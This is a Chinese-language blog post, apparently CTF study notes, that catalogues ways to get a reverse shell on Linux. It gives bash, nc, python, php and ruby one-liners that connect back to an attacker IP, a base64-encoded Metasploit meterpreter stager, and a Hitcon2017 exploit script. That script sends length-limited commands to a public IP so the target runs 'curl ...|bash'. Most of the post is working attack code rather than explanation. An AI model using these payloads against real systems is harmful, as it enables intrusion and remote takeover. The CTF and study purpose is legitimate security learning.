linux下反弹shell
01 前言
CTF中一些命令执行的题目需要反弹shell,于是solo一波。
02 环境
win10 192.168.43.151 监听端 装有nc
kali 192.168.253.128 反弹端 自带nc/bash/curl...
03 Test it
1.bash反弹
***/dev/[tcp|udp]/host/port是linux设备里面比较特殊的文件,读取或写入相当于建立socket调用***
***参考文章及更多骚姿势***
监听
反弹
ok
2.nc反弹
2.1nc交互式反弹
或者
/bin/sh | nc 192.168.43.151
2.2nc -e反弹(nc支持-e参数)
***-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash
),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。***
***-n代表在建立连接之前不对主机进行dns解析。***
***如果nc不支持-e参数的话,可以利用到linux中的管道符(由于本次测试监听端为windows,没有bash,所有监听失败,留待后续解决;可以将6666端口对应的服务器视为外网vps,7777端口对应的服务器视为本地内网pc;当然,本文提及的其余反弹当然是外网vps啦)***
|| 正解
v
数据流
3.curl反弹
前提:index文件包含bash一句话
当然,不限于index文件,其他目录其他文件也可以的。
更强大的是,只要文本包含bash一句话即可,也就是说存在其他语句也是没影响的。
4.whois反弹
5.python反弹
#外网[192.168.43.151]WWW目录下放置shell.py
#!/usr/bin/python
#-*- coding: utf- -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.43.151",)) #外网vps
os.dup2(s.fileno(),)
os.dup2(s.fileno(),)
os.dup2(s.fileno(),)
p=subprocess.call(["/bin/sh","-i"])
无需curl时
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.43.151",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Metasploit版(尚未测试)
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=
import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))
6.php反弹shell
***类似python反弹shell***
***代码假设TCP连接的文件描述符为3,如果不行可以试下4,5,6***
<?php
$sock=fsockopen("192.168.43.151",);//自己的外网ip,端口任意
exec("/bin/sh -i <&3 >&3 2>&3");
?>
无需curl时
php -r '$sock=fsockopen("192.168。43.151",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
7.ruby反弹shell
ruby -rsocket -e 'f=TCPSocket.open("192.168.43.151",7777).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
报错:sh: 1: 7: Bad file descriptor。文件描述符报错,emmm...有时间再解决
无需/bin/sh(已测)
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.43.151","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
目标系统是windows(待测)
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
8.java反弹
直接贴msf了
use payload/java/shell/reverse_tcp
9.lua反弹
use payload/cmd/unix/reverse_lua
04 In CTF
Hitcon2017
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/sandbox'.md5('orange'.$_SERVER['REMOTE_ADDR']);
mkdir($sandbox);
chdir($sandbox);
if(isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5)
{
exec($_GET['cmd']);
}
else if(isset($_GET['reset']))
{
exec('/bin/rm -rf'.$sandbox);
}
highlight_file(_FILE_);
?>
题目大意就是对单次命令执行做了一个长度为5的限制.
题解原理1.
演示一下确保每次执行命令长度<=5的情况下写入ls -t>g到_文件
>ls\\ 创建ls\文件 文件内容为[\n]
ls>_ 创建_文件 文件内容为_ [\n] ls\ [\n] 先把ls写入_
>\ \\ 创建 \ 文件
>-t\\ 创建 -t\文件
>\>g 创建 >g 文件
ls>>_ 将以上文件名按照字典序写入_文件,这里的字典序是特殊符号,在ls\的前面,所以在生成ls\之后我们要先ls>_,保证ls\在最前面。
出错error(可能是linux版本问题?官方Writeup就是这样,后续会尝试给出正确题解)
题解原理2.
利用了上文第3条curl反弹
curl 10.188.2.20|bash
py脚本
import requests
from time import sleep
from urllib.parse import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_', # generate `curl orange.tw.tw|python`
# generate `curl 10.188.2.20|bash`
'>sh\ ',
'>ba\\',
'>\|\\',
# '>03\\',
# '>90\\',
'>0\\',
'>20\\',
'>1.\\',
'>12\\' ,
'>7.\\',
'>10\\' ,
'>9.\\',
'>3\\',
'>\ \\',
'>rl\\',
'>cu\\', #exec
'sh _',
'sh g',
]
r = requests.get('http://120.79.33.253:9003/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )
print (i)
sleep(0.2)
参考:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
http://www.roo7break.co.uk/?from=%40&p=215
linux下反弹shell的更多相关文章
- 渗透测试中Linux下反弹shell的认识
最近老是觉得自己白天工作累,晚上理应休息 堕落了几天才发觉自己真垃圾,加紧向前吧. 0x00 前言 在平时渗透还是工作中经常会遇到shell反弹的情况,网上一搜反弹shell都是一大堆,但是真正遇到反 ...
- Linux下反弹shell的种种方式
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
- Windows/Linux 下反弹shell
Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...
- Linux下反弹shell笔记
0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或者UDP模式,添加参数 —u 则 ...
- 从一次渗透谈到linux如何反弹shell
零.绪论 背景: ThinkPHP框架的--> 找到一个OS命令注入(很简单的Burp可以直接扫出来的那种):页面配置系统默认网关处. 一.渗透过程 1.首先看了一下,没有回显. 2.用ceye ...
- linux下的shell运算(加、减、乘、除)
linux下的shell运算(加.减.乘.除) 标签: linuxshell运算加减乘除 2014-03-12 16:25 15127人阅读 评论(0) 收藏 举报 分类: linux(17) ((i ...
- [转] 关于linux下通过shell命令(自动)修改用户密码
关于linux下通过shell命令(自动)修改用户密码 2012-04-23 18:47:39 分类: 原文地址:关于linux下(自动)修改用户密码 作者:ubuntuer 本文章总结了如何手动.自 ...
- linux下的shell和脚本
1.各种Unix shell linux下的shell基本是从unix环境中的shell发展而来,贴一下wiki:其中我们常用的,可归类为Bourne Shell(/usr/bin/sh或/bin/s ...
- Linux下添加shell脚本使得nginx日志每天定时切割压缩
Linux下添加shell脚本使得nginx日志每天定时切割压缩一 简介 对于nginx的日志文件,特别是access日志,如果我们不做任何处理的话,最后这个文件将会变得非常庞大 这时,无论是出现异常 ...
随机推荐
- FluentData -Micro ORM with a fluent API that makes it simple to query a database 【MYSQL】
官方地址:http://fluentdata.codeplex.com/documentation MYSQL: MySQL through the MySQL Connector .NET driv ...
- Android手机上Audio DSP频率低 memory小的应对措施
我在前面的文章(Android智能手机上的音频浅析)中说过Android手机上有一块专门用于音频处理的DSP,它的特点是频率低(一般几百MHZ).内部memory小(通常不超过100k word).要 ...
- c#继承 里氏转化原则
继承: 是c#中面向对象一个重要概念: 用一个已经存在的类去定义一个新的类 新的类叫做 子类/派生类 已经存在的类叫做 父类/基类 c#中所以类的最终基类都是Object类 声明 访问修饰符 ...
- webpy 解决中文出现UnicodeDecodeError: 'ascii' codec can't decode byte 问题
1.问题描述:一个在Django框架下使用Python编写的定时更新项目,在Windows系统下测试无误,在Linux系统下测试,报如下错误: ascii codec can't decode byt ...
- Java笔试面试题整理第六波(修正版)
转载至:http://blog.csdn.net/shakespeare001/article/details/51330745 作者:山代王(开心阳) 本系列整理Java相关的笔试面试知识点,其他几 ...
- 事务、事务特性、事务隔离级别、spring事务传播特性
事务.事务特性.事务隔离级别.spring事务传播特性 1.什么是事务: 事务是程序中一系列严密的操作,所有操作执行必须成功完成,否则在每个操作所做的更改将会被撤销,这也是事务的原子性(要么成功, ...
- python自带的进程池及线程池
进程池 """ python自带的进程池 """ from multiprocessing import Pool from time im ...
- python多线程简单爬虫
爬虫本质就是将网站或者接口的数据经过筛选后按需求保存 这里实现一个简单爬虫仅供参考 import requests import bs4 import threading import queue i ...
- python中os模块
os 模块 操作系统模块,该模块主要处理与操作系统相关的操作 最常用是文件操作:打开.读取 import os os.getcwd() #获取当前执行文件夹路径 os.chdir('dirnam ...
- 资产管理平台 glpi
1.安装apache yum install httpdyum install httpd-devel 2.安装php 3.配置apache支持php 4.下载glpi并解压 5.配置apache 6 ...